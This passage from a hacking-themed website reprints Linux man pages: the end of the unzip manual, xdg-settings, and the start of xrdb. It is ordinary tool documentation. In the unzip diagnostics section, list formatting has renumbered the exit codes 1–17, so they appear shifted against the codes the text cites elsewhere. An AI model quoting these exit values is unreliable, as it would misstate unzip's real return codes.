Warning: Users should be aware that the -B option does not prevent loss of existing data under all circumstances. For example, when unzip is run in overwrite-all mode, an existing ``foo~’’ file is deleted before unzip attempts to rename ``foo’’ to ``foo~’’. When this rename attempt fails (because of a file locks, insufficient privileges, or …), the extraction of ``foo~’’ gets cancelled, but the old backup file is already lost. A similar scenario takes place when the sequence number range for numbered backup files gets exhausted (99999, or 65535 for 16-bit systems). In this case, the backup file with the maximum sequence number is deleted and replaced by the new backup version without notice.

-C
use case-insensitive matching for the selection of archive entries from the command-line list of extract selection patterns. unzip’s philosophy is ``you get what you ask for’’ (this is also responsible for the -L/-U change; see the relevant options below). Because some file systems are fully case-sensitive (notably those under the Unix operating system) and because both ZIP archives and unzip itself are portable across platforms, unzip’s default behavior is to match both wildcard and literal filenames case-sensitively. That is, specifying ``makefile’’ on the command line will only match ``makefile’’ in the archive, not ``Makefile’’ or ``MAKEFILE’’ (and similarly for wildcard specifications). Since this does not correspond to the behavior of many other operating/file systems (for example, OS/2 HPFS, which preserves mixed case but is not sensitive to it), the -C option may be used to force all filename matches to be case-insensitive. In the example above, all three files would then match ``makefile’’ (or ``make*’’, or similar). The -C option affects file specs in both the normal file list and the excluded-file list (xlist).

Please note that the -C option does neither affect the search for the zipfile(s) nor the matching of archive entries to existing files on the extraction path. On a case-sensitive file system, unzip will never try to overwrite a file ``FOO’’ when extracting an entry ``foo’'!

-D
skip restoration of timestamps for extracted items. Normally, unzip tries to restore all meta-information for extracted items that are supplied in the Zip archive (and do not require privileges or impose a security risk). By specifying -D, unzip is told to suppress restoration of timestamps for directories explicitly created from Zip archive entries. This option only applies to ports that support setting timestamps for directories (currently ATheOS, BeOS, MacOS, OS/2, Unix, VMS, Win32, for other unzip ports, -D has no effect). The duplicated option -DD forces suppression of timestamp restoration for all extracted entries (files and directories). This option results in setting the timestamps for all extracted entries to the current time.

On VMS, the default setting for this option is -D for consistency with the behaviour of BACKUP: file timestamps are restored, timestamps of extracted directories are left at the current time. To enable restoration of directory timestamps, the negated option –D should be specified. On VMS, the option -D disables timestamp restoration for all extracted Zip archive items. (Here, a single -D on the command line combines with the default -D to do what an explicit -DD does on other systems.)

-E
[MacOS only] display contents of MacOS extra field during restore operation.

-F
[Acorn only] suppress removal of NFS filetype extension from stored filenames.

-F
[non-Acorn systems supporting long filenames with embedded commas, and only if compiled with ACORN_FTYPE_NFS defined] translate filetype information from ACORN RISC OS extra field blocks into a NFS filetype extension and append it to the names of the extracted files. (When the stored filename appears to already have an appended NFS filetype extension, it is replaced by the info from the extra field.)

-i
[MacOS only] ignore filenames stored in MacOS extra fields. Instead, the most compatible filename stored in the generic part of the entry’s header is used.

-j
junk paths. The archive’s directory structure is not recreated; all files are deposited in the extraction directory (by default, the current one).

-J
[BeOS only] junk file attributes. The file’s BeOS file attributes are not restored, just the file’s data.

-J
[MacOS only] ignore MacOS extra fields. All Macintosh specific info is skipped. Data-fork and resource-fork are restored as separate files.

-K
[AtheOS, BeOS, Unix only] retain SUID/SGID/Tacky file attributes. Without this flag, these attribute bits are cleared for security reasons.

-L
convert to lowercase any filename originating on an uppercase-only operating system or file system. (This was unzip’s default behavior in releases prior to 5.11; the new default behavior is identical to the old behavior with the -U option, which is now obsolete and will be removed in a future release.) Depending on the archiver, files archived under single-case file systems (VMS, old MS-DOS FAT, etc.) may be stored as all-uppercase names; this can be ugly or inconvenient when extracting to a case-preserving file system such as OS/2 HPFS or a case-sensitive one such as under Unix. By default unzip lists and extracts such filenames exactly as they’re stored (excepting truncation, conversion of unsupported characters, etc.); this option causes the names of all files from certain systems to be converted to lowercase. The -LL option forces conversion of every filename to lowercase, regardless of the originating file system.

-M
pipe all output through an internal pager similar to the Unix more(1) command. At the end of a screenful of output, unzip pauses with a ``–More–’’ prompt; the next screenful may be viewed by pressing the Enter (Return) key or the space bar. unzip can be terminated by pressing the ``q’’ key and, on some systems, the Enter/Return key. Unlike Unix more(1), there is no forward-searching or editing capability. Also, unzip doesn’t notice if long lines wrap at the edge of the screen, effectively resulting in the printing of two or more lines and the likelihood that some text will scroll off the top of the screen before being viewed. On some systems the number of available lines on the screen is not detected, in which case unzip assumes the height is 24 lines.

-n
never overwrite existing files. If a file already exists, skip the extraction of that file without prompting. By default unzip queries before extracting any file that already exists; the user may choose to overwrite only the current file, overwrite all files, skip extraction of the current file, skip extraction of all existing files, or rename the current file.

-N
[Amiga] extract file comments as Amiga filenotes. File comments are created with the -c option of zip(1), or with the -N option of the Amiga port of zip(1), which stores filenotes as comments.

-o
overwrite existing files without prompting. This is a dangerous option, so use it with care. (It is often used with -f, however, and is the only way to overwrite directory EAs under OS/2.)

-P password
use password to decrypt encrypted zipfile entries (if any). THIS IS INSECURE! Many multi-user operating systems provide ways for any user to see the current command line of any other user; even on stand-alone systems there is always the threat of over-the-shoulder peeking. Storing the plaintext password as part of a command line in an automated script is even worse. Whenever possible, use the non-echoing, interactive prompt to enter passwords. (And where security is truly important, use strong encryption such as Pretty Good Privacy instead of the relatively weak encryption provided by standard zipfile utilities.)

-q
perform operations quietly (-qq = even quieter). Ordinarily unzip prints the names of the files it’s extracting or testing, the extraction methods, any file or zipfile comments that may be stored in the archive, and possibly a summary when finished with each archive. The -q[q] options suppress the printing of some or all of these messages.

-s
[OS/2, NT, MS-DOS] convert spaces in filenames to underscores. Since all PC operating systems allow spaces in filenames, unzip by default extracts filenames with spaces intact (e.g., ``EA DATA. SF’’). This can be awkward, however, since MS-DOS in particular does not gracefully support spaces in filenames. Conversion of spaces to underscores can eliminate the awkwardness in some cases.

-S
[VMS] convert text files (-a, -aa) into Stream_LF record format, instead of the text-file default, variable-length record format. (Stream_LF is the default record format of VMS unzip. It is applied unless conversion (-a, -aa and/or -b, -bb) is requested or a VMS-specific entry is processed.)

-U
[UNICODE_SUPPORT only] modify or disable UTF-8 handling. When UNICODE_SUPPORT is available, the option -U forces unzip to escape all non-ASCII characters from UTF-8 coded filenames as ``#Uxxxx’’ (for UCS-2 characters, or ``#Lxxxxxx’’ for unicode codepoints needing 3 octets). This option is mainly provided for debugging purpose when the fairly new UTF-8 support is suspected to mangle up extracted filenames.

The option -UU allows to entirely disable the recognition of UTF-8 encoded filenames. The handling of filename codings within unzip falls back to the behaviour of previous versions.

[old, obsolete usage] leave filenames uppercase if created under MS-DOS, VMS, etc. See -L above.

-V
retain (VMS) file version numbers. VMS files can be stored with a version number, in the format file.ext;##. By default the ``;##’’ version numbers are stripped, but this option allows them to be retained. (On file systems that limit filenames to particularly short lengths, the version numbers may be truncated or stripped regardless of this option.)

-W
[only when WILD_STOP_AT_DIR compile-time option enabled] modifies the pattern matching routine so that both `?’ (single-char wildcard) and `*’ (multi-char wildcard) do not match the directory separator character `/’. (The two-character sequence ``**’’ acts as a multi-char wildcard that includes the directory separator in its matched characters.) Examples:

    "*.c" matches "foo.c" but not "mydir/foo.c"
    "**.c" matches both "foo.c" and "mydir/foo.c"
    "*/*.c" matches "bar/foo.c" but not "baz/bar/foo.c"
    "??*/*" matches "ab/foo" and "abc/foo"
            but not "a/foo" or "a/b/foo"

This modified behaviour is equivalent to the pattern matching style used by the shells of some of UnZip’s supported target OSs (one example is Acorn RISC OS). This option may not be available on systems where the Zip archive’s internal directory separator character `/’ is allowed as regular character in native operating system filenames. (Currently, UnZip uses the same pattern matching rules for both wildcard zipfile specifications and zip entry selection patterns in most ports. For systems allowing `/’ as regular filename character, the -W option would not work as expected on a wildcard zipfile specification.)

-X
[VMS, Unix, OS/2, NT, Tandem] restore owner/protection info (UICs and ACL entries) under VMS, or user and group info (UID/GID) under Unix, or access control lists (ACLs) under certain network-enabled versions of OS/2 (Warp Server with IBM LAN Server/Requester 3.0 to 5.0; Warp Connect with IBM Peer 1.0), or security ACLs under Windows NT. In most cases this will require special system privileges, and doubling the option (-XX) under NT instructs unzip to use privileges for extraction; but under Unix, for example, a user who belongs to several groups can restore files owned by any of those groups, as long as the user IDs match his or her own. Note that ordinary file attributes are always restored–this option applies only to optional, extra ownership info available on some operating systems. [NT’s access control lists do not appear to be especially compatible with OS/2’s, so no attempt is made at cross-platform portability of access privileges. It is not clear under what conditions this would ever be useful anyway.]

-Y
[VMS] treat archived file name endings of ``.nnn’’ (where ``nnn’’ is a decimal number) as if they were VMS version numbers (``;nnn’’). (The default is to treat them as file types.) Example:

     "a.b.3" -> "a.b;3".

-$
[MS-DOS, OS/2, NT] restore the volume label if the extraction medium is removable (e.g., a diskette). Doubling the option (-$$) allows fixed media (hard disks) to be labelled as well. By default, volume labels are ignored.

-/ extensions
[Acorn only] overrides the extension list supplied by Unzip$Ext environment variable. During extraction, filename extensions that match one of the items in this extension list are swapped in front of the base name of the extracted file.

-:
[all but Acorn, VM/CMS, MVS, Tandem] allows to extract archive members into locations outside of the current `` extraction root folder’’. For security reasons, unzip normally removes ``parent dir’’ path components (``../’’) from the names of extracted file. This safety feature (new for version 5.50) prevents unzip from accidentally writing files to ``sensitive’’ areas outside the active extraction folder tree head. The -: option lets unzip switch back to its previous, more liberal behaviour, to allow exact extraction of (older) archives that used ``../’’ components to create multiple directory trees at the level of the current extraction folder. This option does not enable writing explicitly to the root directory (``/’’). To achieve this, it is necessary to set the extraction target folder to root (e.g. -d / ). However, when the -: option is specified, it is still possible to implicitly write to the root directory by specifying enough ``../’’ path components within the zip archive. Use this option with extreme caution.

-^
[Unix only] allow control characters in names of extracted ZIP archive entries. On Unix, a file name may contain any (8-bit) character code with the two exception ‘/’ (directory delimiter) and NUL (0x00, the C string termination indicator), unless the specific file system has more restrictive conventions. Generally, this allows to embed ASCII control characters (or even sophisticated control sequences) in file names, at least on ’native’ Unix file systems. However, it may be highly suspicious to make use of this Unix “feature”. Embedded control characters in file names might have nasty side effects when displayed on screen by some listing code without sufficient filtering. And, for ordinary users, it may be difficult to handle such file names (e.g. when trying to specify it for open, copy, move, or delete operations). Therefore, unzip applies a filter by default that removes potentially dangerous control characters from the extracted file names. The -^ option allows to override this filter in the rare case that embedded filename control characters are to be intentionally restored.

-2
[VMS] force unconditionally conversion of file names to ODS2-compatible names. The default is to exploit the destination file system, preserving case and extended file name characters on an ODS5 destination file system; and applying the ODS2-compatibility file name filtering on an ODS2 destination file system.

ENVIRONMENT OPTIONS

unzip’s default behavior may be modified via options placed in an environment variable. This can be done with any option, but it is probably most useful with the -a, -L, -C, -q, -o, or -n modifiers: make unzip auto-convert text files by default, make it convert filenames from uppercase systems to lowercase, make it match names case-insensitively, make it quieter, or make it always overwrite or never overwrite files as it extracts them. For example, to make unzip act as quietly as possible, only reporting errors, one would use one of the following commands:

Unix Bourne shell:
UNZIP=-qq; export UNZIP

Unix C shell:
setenv UNZIP -qq

OS/2 or MS-DOS:
set UNZIP=-qq

VMS (quotes for lowercase):
define UNZIP_OPTS “-qq”

Environment options are, in effect, considered to be just like any other command-line options, except that they are effectively the first options on the command line. To override an environment option, one may use the ``minus operator’’ to remove it. For instance, to override one of the quiet-flags in the example above, use the command

unzip --q[other options] zipfile

The first hyphen is the normal switch character, and the second is a minus sign, acting on the q option. Thus the effect here is to cancel one quantum of quietness. To cancel both quiet flags, two (or more) minuses may be used:

unzip -t--q zipfile
unzip ---qt zipfile

(the two are equivalent). This may seem awkward or confusing, but it is reasonably intuitive: just ignore the first hyphen and go from there. It is also consistent with the behavior of Unix nice(1).

As suggested by the examples above, the default variable names are UNZIP_OPTS for VMS (where the symbol used to install unzip as a foreign command would otherwise be confused with the environment variable), and UNZIP for all other operating systems. For compatibility with zip(1), UNZIPOPT is also accepted (don’t ask). If both UNZIP and UNZIPOPT are defined, however, UNZIP takes precedence. unzip’s diagnostic option (-v with no zipfile name) can be used to check the values of all four possible unzip and zipinfo environment variables.

The timezone variable (TZ) should be set according to the local timezone in order for the -f and -u to operate correctly. See the description of -f above for details. This variable may also be necessary to get timestamps of extracted files to be set correctly. The WIN32 (Win9x/ME/NT4/2K/XP/2K3) port of unzip gets the timezone configuration from the registry, assuming it is correctly set in the Control Panel. The TZ variable is ignored for this port.

DECRYPTION

Encrypted archives are fully supported by Info-ZIP software, but due to United States export restrictions, de-/encryption support might be disabled in your compiled binary. However, since spring 2000, US export restrictions have been liberated, and our source archives do now include full crypt code. In case you need binary distributions with crypt support enabled, see the file ``WHERE’’ in any Info-ZIP source or binary distribution for locations both inside and outside the US.

Some compiled versions of unzip may not support decryption. To check a version for crypt support, either attempt to test or extract an encrypted archive, or else check unzip’s diagnostic screen (see the -v option above) for ``[decryption]’’ as one of the special compilation options.

As noted above, the -P option may be used to supply a password on the command line, but at a cost in security. The preferred decryption method is simply to extract normally; if a zipfile member is encrypted, unzip will prompt for the password without echoing what is typed. unzip continues to use the same password as long as it appears to be valid, by testing a 12-byte header on each file. The correct password will always check out against the header, but there is a 1-in-256 chance that an incorrect password will as well. (This is a security feature of the PKWARE zipfile format; it helps prevent brute-force attacks that might otherwise gain a large speed advantage by testing only the header.) In the case that an incorrect password is given but it passes the header test anyway, either an incorrect CRC will be generated for the extracted data or else unzip will fail during the extraction because the ``decrypted’’ bytes do not constitute a valid compressed data stream.

If the first password fails the header check on some file, unzip will prompt for another password, and so on until all files are extracted. If a password is not known, entering a null password (that is, just a carriage return or ``Enter’’) is taken as a signal to skip all further prompting. Only unencrypted files in the archive(s) will thereafter be extracted. (In fact, that’s not quite true; older versions of zip(1) and zipcloak(1) allowed null passwords, so unzip checks each encrypted file to see if the null password works. This may result in ``false positives’’ and extraction errors, as noted above.)

Archives encrypted with 8-bit passwords (for example, passwords with accented European characters) may not be portable across systems and/or other archivers. This problem stems from the use of multiple encoding methods for such characters, including Latin-1 (ISO 8859-1) and OEM code page 850. DOS PKZIP 2.04g uses the OEM code page; Windows PKZIP 2.50 uses Latin-1 (and is therefore incompatible with DOS PKZIP); Info-ZIP uses the OEM code page on DOS, OS/2 and Win3.x ports but ISO coding (Latin-1 etc.) everywhere else; and Nico Mak’s WinZip 6.x does not allow 8-bit passwords at all. UnZip 5.3 (or newer) attempts to use the default character set first (e.g., Latin-1), followed by the alternate one (e.g., OEM code page) to test passwords. On EBCDIC systems, if both of these fail, EBCDIC encoding will be tested as a last resort. (EBCDIC is not tested on non-EBCDIC systems, because there are no known archivers that encrypt using EBCDIC encoding.) ISO character encodings other than Latin-1 are not supported. The new addition of (partially) Unicode (resp. UTF-8) support in UnZip 6.0 has not yet been adapted to the encryption password handling in unzip. On systems that use UTF-8 as native character encoding, unzip simply tries decryption with the native UTF-8 encoded password; the built-in attempts to check the password in translated encoding have not yet been adapted for UTF-8 support and will consequently fail.

EXAMPLES

To use unzip to extract all members of the archive letters.zip into the current directory and subdirectories below it, creating any subdirectories as necessary:

unzip letters

To extract all members of letters.zip into the current directory only:

unzip -j letters

To test letters.zip, printing only a summary message indicating whether the archive is OK or not:

unzip -tq letters

To test all zipfiles in the current directory, printing only the summaries:

unzip -tq \*.zip

(The backslash before the asterisk is only required if the shell expands wildcards, as in Unix; double quotes could have been used instead, as in the source examples below.) To extract to standard output all members of letters.zip whose names end in .tex, auto-converting to the local end-of-line convention and piping the output into more(1):

unzip -ca letters \*.tex | more

To extract the binary file paper1.dvi to standard output and pipe it to a printing program:

unzip -p articles paper1.dvi | dvips

To extract all FORTRAN and C source files–*.f, *.c, *.h, and Makefile–into the /tmp directory:

unzip source.zip "*.[fch]" Makefile -d /tmp

(the double quotes are necessary only in Unix and only if globbing is turned on). To extract all FORTRAN and C source files, regardless of case (e.g., both *.c and *.C, and any makefile, Makefile, MAKEFILE or similar):

unzip -C source.zip "*.[fch]" makefile -d /tmp

To extract any such files but convert any uppercase MS-DOS or VMS names to lowercase and convert the line-endings of all of the files to the local standard (without respect to any files that might be marked ``binary’’):

unzip -aaCL source.zip "*.[fch]" makefile -d /tmp

To extract only newer versions of the files already in the current directory, without querying (NOTE: be careful of unzipping in one timezone a zipfile created in another–ZIP archives other than those created by Zip 2.1 or later contain no timezone information, and a ``newer’’ file from an eastern timezone may, in fact, be older):

unzip -fo sources

To extract newer versions of the files already in the current directory and to create any files not already there (same caveat as previous example):

unzip -uo sources

To display a diagnostic screen showing which unzip and zipinfo options are stored in environment variables, whether decryption support was compiled in, the compiler with which unzip was compiled, etc.:

unzip -v

In the last five examples, assume that UNZIP or UNZIP_OPTS is set to -q. To do a singly quiet listing:

unzip -l file.zip

To do a doubly quiet listing:

unzip -ql file.zip

(Note that the ``.zip’’ is generally not necessary.) To do a standard listing:

unzip --ql file.zip

or

unzip -l-q file.zip

or

unzip -l--q file.zip

(Extra minuses in options don’t hurt.)

TIPS

The current maintainer, being a lazy sort, finds it very useful to define a pair of aliases: tt for ``unzip -tq’’ and ii for ``unzip -Z’’ (or ``zipinfo’’). One may then simply type ``tt zipfile’’ to test an archive, something that is worth making a habit of doing. With luck unzip will report ``No errors detected in compressed data of zipfile.zip,’’ after which one may breathe a sigh of relief.

The maintainer also finds it useful to set the UNZIP environment variable to ``-aL’’ and is tempted to add ``-C’’ as well. His ZIPINFO variable is set to ``-z’’.

DIAGNOSTICS

The exit status (or error level) approximates the exit codes defined by PKWARE and takes on the following values, except under VMS:

  1. normal; no errors or warnings detected.

  2. one or more warning errors were encountered, but processing completed successfully anyway. This includes zipfiles where one or more files was skipped due to unsupported compression method or encryption with an unknown password.

  3. a generic error in the zipfile format was detected. Processing may have completed successfully anyway; some broken zipfiles created by other archivers have simple work-arounds.

  4. a severe error in the zipfile format was detected. Processing probably failed immediately.

  5. unzip was unable to allocate memory for one or more buffers during program initialization.

  6. unzip was unable to allocate memory or unable to obtain a tty to read the decryption password(s).

  7. unzip was unable to allocate memory during decompression to disk.

  8. unzip was unable to allocate memory during in-memory decompression.

  9. [currently not used]

  10. the specified zipfiles were not found.

  11. invalid options were specified on the command line.

  12. no matching files were found.

  13. the disk is (or was) full during extraction.

  14. the end of the ZIP archive was encountered prematurely.

  15. the user aborted unzip prematurely with control-C (or similar)

  16. testing or extraction of one or more files failed due to unsupported compression methods or unsupported decryption.

  17. no files were found due to bad decryption password(s). (If even one file is successfully processed, however, the exit status is 1.)

VMS interprets standard Unix (or PC) return values as other, scarier-looking things, so unzip instead maps them into VMS-style status codes. The current mapping is as follows: 1 (success) for normal exit, 0x7fff0001 for warning errors, and (0x7fff000? + 16*normal_unzip_exit_status) for all other errors, where the `?’ is 2 (error) for unzip values 2, 9-11 and 80-82, and 4 (fatal error) for the remaining ones (3-8, 50, 51). In addition, there is a compilation option to expand upon this behavior: defining RETURN_CODES results in a human-readable explanation of what the error status means.

BUGS

Multi-part archives are not yet supported, except in conjunction with zip. (All parts must be concatenated together in order, and then ``zip -F’’ (for zip 2.x) or ``zip -FF’’ (for zip 3.x) must be performed on the concatenated archive in order to ``fix’’ it. Also, zip 3.0 and later can combine multi-part (split) archives into a combined single-file archive using ``zip -s- inarchive -O outarchive’’. See the zip 3 manual page for more information.) This will definitely be corrected in the next major release.

Archives read from standard input are not yet supported, except with funzip (and then only the first member of the archive can be extracted).

Archives encrypted with 8-bit passwords (e.g., passwords with accented European characters) may not be portable across systems and/or other archivers. See the discussion in DECRYPTION above.

unzip’s -M (``more’’) option tries to take into account automatic wrapping of long lines. However, the code may fail to detect the correct wrapping locations. First, TAB characters (and similar control sequences) are not taken into account, they are handled as ordinary printable characters. Second, depending on the actual system / OS port, unzip may not detect the true screen geometry but rather rely on “commonly used” default dimensions. The correct handling of tabs would require the implementation of a query for the actual tabulator setup on the output console.

Dates, times and permissions of stored directories are not restored except under Unix. (On Windows NT and successors, timestamps are now restored.)

[MS-DOS] When extracting or testing files from an archive on a defective floppy diskette, if the ``Fail’’ option is chosen from DOS’s ``Abort, Retry, Fail?’’ message, older versions of unzip may hang the system, requiring a reboot. This problem appears to be fixed, but control-C (or control-Break) can still be used to terminate unzip.

Under DEC Ultrix, unzip would sometimes fail on long zipfiles (bad CRC, not always reproducible). This was apparently due either to a hardware bug (cache memory) or an operating system bug (improper handling of page faults?). Since Ultrix has been abandoned in favor of Digital Unix (OSF/1), this may not be an issue anymore.

[Unix] Unix special files such as FIFO buffers (named pipes), block devices and character devices are not restored even if they are somehow represented in the zipfile, nor are hard-linked files relinked. Basically the only file types restored by unzip are regular files, directories and symbolic (soft) links.

[OS/2] Extended attributes for existing directories are only updated if the -o (``overwrite all’’) option is given. This is a limitation of the operating system; because directories only have a creation time associated with them, unzip has no way to determine whether the stored attributes are newer or older than those on disk. In practice this may mean a two-pass approach is required: first unpack the archive normally (with or without freshening/updating existing files), then overwrite just the directory entries (e.g., ``unzip -o foo */’’).

[VMS] When extracting to another directory, only the [.foo] syntax is accepted for the -d option; the simple Unix foo syntax is silently ignored (as is the less common VMS foo.dir syntax).

[VMS] When the file being extracted already exists, unzip’s query only allows skipping, overwriting or renaming; there should additionally be a choice for creating a new version of the file. In fact, the ``overwrite’’ choice does create a new version; the old version is not overwritten or deleted.

SEE ALSO

funzip(1), zip(1), zipcloak(1), zipgrep(1), zipinfo(1), zipnote(1), zipsplit(1)

URL

The Info-ZIP home page is currently at

http://www.info-zip.org/pub/infozip/

or

ftp://ftp.info-zip.org/pub/infozip/ .

AUTHORS

The primary Info-ZIP authors (current semi-active members of the Zip-Bugs workgroup) are: Ed Gordon (Zip, general maintenance, shared code, Zip64, Win32, Unix, Unicode); Christian Spieler (UnZip maintenance coordination, VMS, MS-DOS, Win32, shared code, general Zip and UnZip integration and optimization); Onno van der Linden (Zip); Mike White (Win32, Windows GUI, Windows DLLs); Kai Uwe Rommel (OS/2, Win32); Steven M. Schweda (VMS, Unix, support of new features); Paul Kienitz (Amiga, Win32, Unicode); Chris Herborth (BeOS, QNX, Atari); Jonathan Hudson (SMS/QDOS); Sergio Monesi (Acorn RISC OS); Harald Denker (Atari, MVS); John Bush (Solaris, Amiga); Hunter Goatley (VMS, Info-ZIP Site maintenance); Steve Salisbury (Win32); Steve Miller (Windows CE GUI), Johnny Lee (MS-DOS, Win32, Zip64); and Dave Smith (Tandem NSK).

The following people were former members of the Info-ZIP development group and provided major contributions to key parts of the current code: Greg ``Cave Newt’’ Roelofs (UnZip, unshrink decompression); Jean-loup Gailly (deflate compression); Mark Adler (inflate decompression, fUnZip).

The author of the original unzip code upon which Info-ZIP’s was based is Samuel H. Smith; Carl Mascott did the first Unix port; and David P. Kirschbaum organized and led Info-ZIP in its early days with Keith Petersen hosting the original mailing list at WSMR-SimTel20. The full list of contributors to UnZip has grown quite large; please refer to the CONTRIBS file in the UnZip source distribution for a relatively complete version.

VERSIONS

v1.2 15 Mar 89
Samuel H. Smith

v2.0 9 Sep 89
Samuel H. Smith

v2.x fall 1989
many Usenet contributors

v3.0 1 May 90
Info-ZIP (DPK, consolidator)

v3.1 15 Aug 90
Info-ZIP (DPK, consolidator)

v4.0 1 Dec 90
Info-ZIP (GRR, maintainer)

v4.1 12 May 91
Info-ZIP

v4.2 20 Mar 92
Info-ZIP (Zip-Bugs subgroup, GRR)

v5.0 21 Aug 92
Info-ZIP (Zip-Bugs subgroup, GRR)

v5.01 15 Jan 93
Info-ZIP (Zip-Bugs subgroup, GRR)

v5.1 7 Feb 94
Info-ZIP (Zip-Bugs subgroup, GRR)

v5.11 2 Aug 94
Info-ZIP (Zip-Bugs subgroup, GRR)

v5.12 28 Aug 94
Info-ZIP (Zip-Bugs subgroup, GRR)

v5.2 30 Apr 96
Info-ZIP (Zip-Bugs subgroup, GRR)

v5.3 22 Apr 97
Info-ZIP (Zip-Bugs subgroup, GRR)

v5.31 31 May 97
Info-ZIP (Zip-Bugs subgroup, GRR)

v5.32 3 Nov 97
Info-ZIP (Zip-Bugs subgroup, GRR)

v5.4 28 Nov 98
Info-ZIP (Zip-Bugs subgroup, SPC)

v5.41 16 Apr 00
Info-ZIP (Zip-Bugs subgroup, SPC)

v5.42 14 Jan 01
Info-ZIP (Zip-Bugs subgroup, SPC)

v5.5 17 Feb 02
Info-ZIP (Zip-Bugs subgroup, SPC)

v5.51 22 May 04
Info-ZIP (Zip-Bugs subgroup, SPC)

v5.52 28 Feb 05
Info-ZIP (Zip-Bugs subgroup, SPC)

v6.0 20 Apr 09
Info-ZIP (Zip-Bugs subgroup, SPC)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

635 - Linux cli command xdg-settings

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xdg-settings and provides detailed information about the command xdg-settings, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xdg-settings.

NAME 🖥️ xdg-settings 🖥️

settings - get various settings from the desktop environment

SYNOPSIS

xdg-settings {get | check | set} {property} [subproperty] [value]

xdg-settings {–help | –list | –manual | –version}

DESCRIPTION

xdg-settings gets various settings from the desktop environment. For instance, desktop environments often provide proxy configuration and default web browser settings. Using xdg-settings these parameters can be extracted for use by applications that do not use the desktop environments libraries (which would use the settings natively).

xdg-settings is for use inside a desktop session only. It is not recommended to use xdg-settings as root.

OPTIONS

–help

Show command synopsis.

–list

List all properties xdg-settings knows about.

–manual

Show this manual page.

–version

Show the xdg-utils version information.

PROPERTIES

When using xdg-settings to get, check or set a desktop setting, properties and possibly sub-properties are used to specify the setting to be changed.

Some properties (such as default-web-browser) fully describe the setting to be changed. Other properties (such as default-url-scheme-handler) require more information (in this case the actual scheme to set the default handler for) which must be provided in a sub-property.

EXIT CODES

An exit code of 0 indicates success while a non-zero exit code indicates failure. The following failure codes can be returned:

1

Error in command line syntax.

2

One of the files passed on the command line did not exist.

3

A required tool could not be found.

4

The action failed.

SEE ALSO

xdg-mime(1), xdg-open(1), MIME applications associations specification[1]

EXAMPLES

Get the desktop file name of the current default web browser

    xdg-settings get default-web-browser

Check whether the default web browser is firefox.desktop, which can be false even if “get default-web-browser” says that is the current value (if only some of the underlying settings actually reflect that value)

    xdg-settings check default-web-browser firefox.desktop

Set the default web browser to google-chrome.desktop

    xdg-settings set default-web-browser google-chrome.desktop

Set the default mailto URL scheme handler to be evolution.desktop

    xdg-settings set default-url-scheme-handler mailto evolution.desktop

AUTHOR

Mike Mammarella

Author.

COPYRIGHT

Copyright © 2009-2011

NOTES

MIME applications associations specification

http://www.freedesktop.org/wiki/Specifications/mime-apps-spec/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

636 - Linux cli command xrdb

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xrdb and provides detailed information about the command xrdb, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xrdb.

NAME 🖥️ xrdb 🖥️

X server resource database utility

SYNOPSIS

xrdb [-option …] [filename]

DESCRIPTION

Xrdb is used to get or set the contents of the RESOURCE_MANAGER property on the root window of screen 0, or the SCREEN_RESOURCES property on the root window of any or all screens, or everything combined. You would normally run this program from your X startup file.

Most X clients use the RESOURCE_MANAGER and SCREEN_RESOURCES properties to get user preferences about color, fonts, and so on for applications. Having this information in the server (where it is available to all clients) instead of on disk, solves the problem in previous versions of X that required you to maintain defaults files on every machine that you might use. It also allows for dynamic changing of defaults without editing files.

The RESOURCE_MANAGER property is used for resources that apply to all screens of the display. The SCREEN_RESOURCES property on each screen specifies additional (or overriding) resources to be used for that screen. (When there is only one screen, SCREEN_RESOURCES is normally not used, all resources are just placed in the RESOURCE_MANAGER property.)

The file specified by filename (or the contents from standard input if - or no filename is given) is optionally passed through the C preprocessor with the following symbols defined, based on the capabilities of the server being used:

SERVERHOST=hostname
the hostname portion of the display to which you are connected.

SRVR_name
the SERVERHOST hostname string turned into a legal identifier. For example, “my-dpy.lcs.mit.edu” becomes SRVR_my_dpy_lcs_mit_edu.

HOST=hostname
the same as SERVERHOST.

DISPLAY_NUM=num
the number of the display on the server host.

CLIENTHOST=hostname
the name of the host on which xrdb is running.

CLNT_name
